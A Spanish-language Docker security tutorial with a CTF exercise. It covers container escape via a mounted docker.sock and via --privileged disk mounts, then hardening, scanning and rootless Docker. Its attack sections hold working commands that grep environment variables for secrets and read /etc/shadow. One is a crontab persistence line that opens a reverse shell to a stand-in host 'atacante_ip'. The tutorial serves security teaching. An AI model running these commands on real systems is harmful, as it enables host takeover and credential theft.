← Volver al inicio
Docker Contenedores Hardening Misconfigurations DevSecOps
Intermedio

Docker: Seguridad y Hardening de Contenedores

20/08/2024

Docker es omnipresente en infraestructuras modernas, pero una configuración incorrecta puede exponer el host o toda la red interna. Los contenedores no son máquinas virtuales completas; comparten el mismo kernel que el host subyacente. Este proyecto cubre los ataques más comunes y las medidas de hardening profundas.

1. Arquitectura de Aislamiento: Namespaces y Cgroups

La seguridad de Docker se basa en dos características del Kernel de Linux:

2. Enumeración en un contenedor comprometido

Si consigues una reverse shell en un servidor, el primer paso es comprobar si estás "encerrado" en un contenedor.

# Verificar si estamos en un contenedor:
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv           # Este archivo suele existir en la raíz

# Información del sistema y variables de entorno:
cat /etc/os-release
env | grep -iE "pass|secret|token|key|db_|api"  # Fuga clásica de credenciales

# Comprobar si el sistema de archivos es overlay (típico de contenedores):
mount | grep overlay

# Capacidades (Capabilities) del proceso actual:
cat /proc/self/status | grep CapEff
# Decodificar el hexadecimal resultante:
capsh --decode=0000000000003000

3. El Ataque Crítico: Escape por Montaje del Socket de Docker

El socket de Docker (/var/run/docker.sock) es el archivo UNIX que el demonio de Docker usa para comunicarse con la CLI. Si un desarrollador monta este socket dentro de un contenedor (ej. para CI/CD como Jenkins o Portainer), está otorgando acceso root total al host.

# 1. Comprobar si el socket está montado:
ls -la /var/run/docker.sock

# 2. Explotación — Crear un nuevo contenedor que monte la raíz del host (/) en /mnt:
# Al usar el socket, le estamos dando la orden al demonio del host, no al contenedor actual.
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# 3. ¡Estás en el host como root! Ahora puedes leer contraseñas o añadir persistencia:
cat /etc/shadow
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/atacante_ip/4444 0>&1'" >> /etc/crontab

🔴 Simulador de Escape de Contenedor

Has comprometido una aplicación web y tienes una terminal interactiva (shell) dentro de su contenedor Docker. Tras investigar, descubres que el administrador ha montado imprudentemente /var/run/docker.sock. Demuestra tu habilidad escribiendo el comando exacto para escapar hacia el host.

>_ INICIAR RETO CTF 16

4. Escape por Modo Privilegiado (--privileged)

Ejecutar un contenedor con el flag --privileged desactiva casi todos los mecanismos de seguridad de Docker. Permite al contenedor acceder a todos los dispositivos de hardware del host.

# 1. Detectar modo privilegiado revisando los discos de hardware:
fdisk -l

# 2. Si ves el disco físico del host (ej. /dev/sda1), móntalo:
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# 3. Leer los ficheros del host:
cat /mnt/host/etc/shadow

5. Hardening del Dockerfile (Desarrollo Seguro)

La seguridad empieza en el momento de crear la imagen. Reglas de oro:

# ❌ MAL: Imagen pesada, usuario root por defecto, secretos cacheados
FROM ubuntu:latest
ENV DB_PASSWORD=supersecret123
RUN apt-get install -y curl
COPY . /app

# ✅ BIEN: Imagen minimalista, usuario sin privilegios, dependencias exactas
FROM python:3.12-alpine

# Crear usuario y grupo no privilegiado (ID 1000)
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app
COPY --chown=appuser:appgroup requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY --chown=appuser:appgroup . .

# Cambiar del root al usuario creado
USER appuser
EXPOSE 8080
CMD ["python", "app.py"]

6. Seguridad en Runtime y Seccomp / AppArmor

Al ejecutar un contenedor (docker run), debes aplicar el principio de menor privilegio.

docker run \
  --read-only \                  # 1. Evita que el atacante modifique archivos o instale malware
  --tmpfs /tmp \                 # 2. Permite escritura solo en memoria temporal
  --no-new-privileges \          # 3. Bloquea el uso de binarios SUID (escalada de privilegios)
  --cap-drop ALL \               # 4. Quita TODOS los permisos del kernel
  --cap-add NET_BIND_SERVICE \   # 5. Añade solo el permiso necesario (ej. abrir puerto 80)
  --memory 512m \                # 6. Evita DoS de memoria
  --cpus 0.5 \                   # 7. Evita DoS de CPU
  --security-opt seccomp=default.json \ # 8. Filtra llamadas al sistema opertivo (Syscalls)
  mi-imagen-segura:latest

7. Escaneo de Vulnerabilidades y Firmas de Imágenes

Nunca confíes ciegamente en imágenes de Docker Hub. Las imágenes base contienen vulnerabilidades (CVEs) que heredarás.

# Escanear imágenes localmente usando Trivy (Aqua Security):
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL mi-app-interna:v1.2

# Activar Docker Content Trust (DCT) para exigir que las imágenes estén firmadas digitalmente:
export DOCKER_CONTENT_TRUST=1
docker pull ubuntu:latest # Fallará si la imagen no tiene firma validada

8. Rootless Docker

La máxima recomendación de seguridad hoy en día. Consiste en ejecutar el demonio de Docker y los contenedores bajo un usuario sin privilegios del host (en lugar de root). Si ocurre una vulnerabilidad de escape, el atacante solo tendrá los permisos del usuario local de bajos privilegios, no será el `root` de la máquina.